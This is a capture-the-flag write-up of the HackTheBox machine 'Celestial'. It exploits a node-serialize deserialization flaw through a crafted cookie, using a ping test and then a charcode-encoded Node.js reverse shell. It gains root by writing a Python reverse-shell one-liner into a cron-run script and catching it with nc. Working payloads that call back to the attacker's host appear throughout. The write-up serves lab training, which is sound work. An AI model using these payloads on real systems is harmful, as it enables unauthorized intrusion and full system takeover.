HackTheBox - Celestial Writeup

Celestial retires this week, it was a pretty cool box with a good vulnerability to look into. So without any further blabbering, lets get to r00t!

HackTheBox - Celestial Writeup

Celestial retires this week to give way to SecNotes, it was a pretty cool box with a good vulnerability to look into. So without any further blabbering lets get to r00t.

Nmap Scan

Let's start with a quick nmap and look for interesting services.

# nmap -p- -sV -sC -T5 --min-rate=1000 10.10.10.85 -oN celestial.nmap                                                           [9/9]

Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-22 16:52 IST
Nmap scan report for 10.10.10.85
Host is up (0.15s latency).
Scanned at 2018-08-22 16:52:00 IST for 205s
Not shown: 62020 closed ports, 3514 filtered ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:55
Completed NSE at 16:55, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:55
Completed NSE at 16:55, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.15 seconds
           Raw packets sent: 179809 (7.912MB) | Rcvd: 136544 (5.463MB)
           

So just port 3000 is open with a Node-js server running. Browsing to http://10.10.10.85:3000/ just says Hey Dummy 2 + 2 is 22. Huh!?

Burp Repeater

Let's send this boy to Burp repeater and check what's up.

repeater

So we see a base64 encoded cookie which turns out to be:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

Then I changed the num value to be nothing and sent a request and boom!

boom

We see an error in which the line Object.exports.unserialize seemed of major interest to me. Looks like the page takes in the encoded cookie and unserializes it.

So, I started searching about vulnerabilities in Node serialization and found what I was looking for pretty quickly here: https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

The article says,

Untrusted data passed into unserialize() function in node-serialize module can be exploited to achieve arbitrary code execution by passing a serialized JavaScript Object with an Immediately invoked function expression (IIFE).

The bug basically allows you to execute code by sending the serialized object with your payload(encoded) while it's unserialized on the server.(Hope, that made sense). For example,

`var obj = serialize.unserialize(<Any malicious cookie>);

`

So, before I proceed with the skiddie stuff I'll do it manually for better understanding as well as a learning experience.

Manual Script Exercise

I'll be using the script from the blog to create a malicious cookie,

# cat creatte.js
var y = {
 rce : function(){ require('child_process').exec('ping -c2 10.10.15.229', function() { });},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

We use the child_process module which helps us to spawn a new process which in this case is the execution of ping command with exec().

See that there's no tabs or spaces in the var y or else it'll be a pain to escape them. As you can see, I'll just ping myself with the payload. The cookie would look something like this,

{"username":"Dummy","rce":"_$$ND_FUNC$$_function (){ require('child_process').exec('ping -c2 10.10.15.229', function() { });}()"}

Let's encode it and see if it works.

ping

There we have it. It works! (Damn, I'm such 1337 hax0r).

Getting a Shell

Anyway, let's proceed to get a shell now. I avoided some labor work :p and used this awesome script to generate the payload- https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py . Which just creates a function to send back a shell and uses eval() which executes the code present in fromCharCode() to avoid messing with escaping and stuff like that.

Your cookie should look something like this:

{"username":"Dummy","rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,53,46,50,50,57,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Encode and send it, you'll have your shell. :)

ok

Getting root Access

After grabbing the user flag I noticed this script.py in Documents folder.

sun@sun:~/Documents$ cat script.py
cat script.py
print "Script is running..."
print "Script is running..."
print "Script is running..."
sun@sun:~/Documents$

Nothing of much significance. Let's proceed and run LinEnum or any other equivalent enumeration scripts. I don't notice any special, however, I notice this output.txt in the home folder which was owned by root and written last just 3 minutes back.

-----------------------SNIP---------------------------
-rw-r--r--  1 root root   63 Aug 22 09:05 output.txt
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Pictures
-rw-r--r--  1 sun  sun   655 Sep 19  2017 .profile
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Public
-rw-rw-r--  1 sun  sun    66 Sep 20  2017 .selected_editor
-rw-rw-r--  1 sun  sun   870 Sep 20  2017 server.js
-rw-r--r--  1 sun  sun     0 Sep 19  2017 .sudo_as_admin_successful
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Templates
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Videos
-rw-------  1 sun  sun    48 Aug 22 08:38 .Xauthority
-rw-------  1 sun  sun    82 Aug 22 08:38 .xsession-errors
-rw-------  1 sun  sun  1302 Mar  7 08:33 .xsession-errors.old
sun@sun:~$ date
date
Wed Aug 22 09:08:57 EDT 2018
sun@sun:~$ cat output.txt
cat output.txt
Script is running...
Script is running...
Script is running...
sun@sun:~$

I hope you remember where we saw that "Script is running" ;) Let's see when it's written again.

ls -la
total 152
drwxr-xr-x 21 sun  sun  4096 Aug 22 09:05 .
drwxr-xr-x  3 root root 4096 Sep 19  2017 ..
----------------SNIP---------------------
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Music
drwxrwxr-x  2 sun  sun  4096 Sep 19  2017 .nano
drwxr-xr-x 47 root root 4096 Sep 19  2017 node_modules
-rw-rw-r--  1 sun  sun    20 Sep 19  2017 .node_repl_history
drwxrwxr-x 57 sun  sun  4096 Sep 19  2017 .npm
-rw-r--r--  1 root root   21 Aug 22 09:10 output.txt
----------------SNIP--------------------

Looks like the script is run by root every 5 minutes and we have write access to the script.py. Awesome! Let's a python reverse shell and wait for the connect back.

sun@sun:~/Documents$ cat script.py
cat script.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.229,7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Getting the shell....

# nc -lvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.10.85 36958 received!
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux sun 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
# 

Et voila! Here we have root.

Additional Stuff

Instead of wildly guessing the cron thing there are a few other tricks to use the procmon script which ippsec uses, you can watch it in action here:
https://www.youtube.com/watch?v=K9DKULxSBK4

You can use the awesome pspy binaries which have more functionalities:
https://github.com/DominicBreuker/pspy

Another neat trick which I use is the journalctl command when a user is in the adm group which enables you to check the system logs. I generally target the minutes which are multiples of 5, as crons are most probably set to run at */5 or */10 minutes.

sun@sun:~/Documents$ journalctl --since "2018-08-22 09:20:00"
journalctl --since "2018-08-22 09:20:00"
-- Logs begin at Wed 2018-08-22 08:38:26 EDT, end at Wed 2018-08-22 09:34:16 EDT. --
Aug 22 09:20:01 sun CRON[14899]: pam_unix(cron:session): session opened for user root by (uid=0)
Aug 22 09:20:01 sun CRON[14900]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Docu
Aug 22 09:20:01 sun CRON[14899]: (CRON) info (No MTA installed, discarding output)
Aug 22 09:20:01 sun CRON[14899]: pam_unix(cron:session): session closed for user root
-----------------------------SNIP-----------------------------

Did you see it? The cron was run at 9:20:01.

More stuff on journalctl here: https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs

That's it for this week. Thanks to Endg4m3 for making this box. :)

Hope you enjoyed the write-up and don't forget to check out the other amazing articles on Secjuice. See you, Later!

The artwork used to head this article is called 'Saturn HulaHooping' and it was created by Gal Shir.